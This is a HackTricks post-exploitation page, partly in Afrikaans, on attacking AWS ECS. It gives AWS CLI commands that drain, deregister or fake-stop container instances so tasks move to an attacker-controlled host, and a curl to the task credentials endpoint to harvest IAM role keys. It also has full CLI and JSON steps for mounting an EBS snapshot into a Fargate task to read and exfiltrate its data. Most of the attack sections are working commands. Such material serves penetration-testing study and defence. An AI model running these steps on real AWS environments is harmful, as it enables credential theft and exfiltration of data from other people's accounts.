# AWS - ECS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## ECS

Vir meer inligting sien:

{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}

### Gasheer IAM-rolle

In ECS kan 'n **IAM role toegeken word aan die task** wat binne die container loop. **If** die task binne 'n **EC2** instance uitgevoer word, sal die **EC2 instance** 'n **ander IAM** role daaraan gekoppel hê.\
Dit beteken dat as jy daarin slaag om 'n ECS instance te **compromise**, kan jy moontlik die **IAM role kry wat met die ECR en die EC2 instance geassosieer is**. Vir meer info oor hoe om daardie credentials te kry, sien:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}

> [!CAUTION]
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

### Privesc na node om ander containers se creds & secrets te steel

Verder gebruik EC2 docker om ECs tasks te laat loop, so as jy na die node kan ontsnap of toegang tot die docker socket kry, kan jy kyk watter ander containers uitgevoer word, en selfs in hulle inkom en hul aangehegte IAM roles steel.

#### Containers laat loop op die huidige host

Verder sal die **EC2 instance role** gewoonlik genoeg **permissions** hê om die **container instance state** van die EC2 instances wat as nodes binne die cluster gebruik word, op te dateer. 'n Aanvaller kan die **state van 'n instance verander na DRAINING**, waarna ECS **al die tasks daaruit sal verwyder** en die take wat as **REPLICA** uitgevoer word, in 'n ander instance laat loop — potensieel binne die **aanvaller se instance** — sodat hy hul **IAM roles** en moontlike sensitiewe inligting uit die container kan steel.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
Dieselfde tegniek kan uitgevoer word deur **die EC2 instance van die cluster af te meld**. Dit is moontlik minder onopvallend, maar dit sal **die tasks dwing om in ander instances uitgevoer te word:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
'n laaste tegniek om die heruitvoering van take af te dwing is om ECS te wys dat die **taak of houer gestop is**. Daar is 3 potensiële APIs om dit te doen:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
#### Join the Cluster With an Attacker Host (Register Container Instance)

Another variant (more direct than draining) is to **add capacity you control** into the cluster by registering an EC2 instance as a container instance (`ecs:RegisterContainerInstance`) and setting the required container instance attributes so placement constraints match. Once tasks land on your host, you can inspect/exec into containers and harvest `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` credentials.

See the ECS privesc page section on `ecs:RegisterContainerInstance` for the full workflow.

### Steal sensitive info from ECR containers

Die EC2 instance sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **images af te laai** (jy kan daarin na sensitiewe inligting soek).

### Steal Task Role Credentials via `ecs:ExecuteCommand`

As `ExecuteCommand` op 'n taak geaktiveer is, kan 'n principal met `ecs:ExecuteCommand` + `ecs:DescribeTasks` 'n shell binne die lopende container open en dan die **task credentials endpoint** vra om die **task role** credentials te oes:

- From inside the container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
- Use the returned `AccessKeyId/SecretAccessKey/Token` to call AWS APIs as the task role

Sien die ECS privilege escalation page vir enumerasie en opdragvoorbeelde.

### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Misbruik die native ECS EBS integration (2024+) om die inhoud van 'n bestaande EBS snapshot direk binne 'n nuwe ECS task/service te mount en die data van binne die container te lees.

- Needs (minimum):
- ecs:RegisterTaskDefinition
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole on:
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles referenced by the task definition
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.

Steps (Fargate example):

1) Create the ECS infrastructure role (if it doesn't exist) and attach the managed policy:
```bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```
2) Registreer 'n task definition met 'n volume gemerk `configuredAtLaunch` en mount dit in die container. Voorbeeld (druk die secret uit en slaap):
```json
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```
Skep of werk 'n diens op deur die EBS-snapshot via `volumeConfigurations.managedEBSVolume` deur te gee (vereis iam:PassRole op die infra-rol). Voorbeeld:
```json
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
```
4) Wanneer die task begin, kan die container die snapshot-inhoud by die geconfigureerde mount path lees (bv. `/loot`). Exfiltrate via die task se network/logs.

Opruiming:
```bash
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
## Verwysings

- [Latacora - ECS on EC2: Dekking van gapings in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)

{{#include ../../../../banners/hacktricks-training.md}}
